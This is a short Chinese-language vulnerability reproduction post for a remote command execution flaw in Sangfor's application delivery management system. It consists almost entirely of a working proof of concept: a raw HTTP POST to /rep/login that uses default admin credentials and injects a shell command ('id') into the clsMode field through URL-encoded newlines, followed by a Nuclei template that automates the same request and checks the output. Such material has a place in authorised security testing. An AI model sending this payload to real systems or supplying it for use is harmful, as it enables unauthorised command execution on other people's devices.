【漏洞复现】深信服应用交付管理系统clsMode存在远程命令执行漏洞 附POC

POST /rep/login HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded userID=admin&userPsw=admin&page=login&log_type=report&index=index&clsMode=cls_mode_login%0Aid%0A

id: sangfor-ad-clsmode-rce info:  name: 深信服应用交付管理系统clsMode远程命令执行漏洞  author: YGnight  severity: high  description: description  reference:    - https://  tags: tags requests:  - raw:      - |-        POST /rep/login HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0        Content-Length: 120        Accept-Encoding: gzip, deflate        Content-Type: application/x-www-form-urlencoded         userID=admin&userPsw=admin&page=login&log_type=report&index=index&clsMode=cls_mode_login%0Aid%0A     matchers-condition: and    matchers:      - type: status        status:          - 200      - type: word        words:          - 'suid'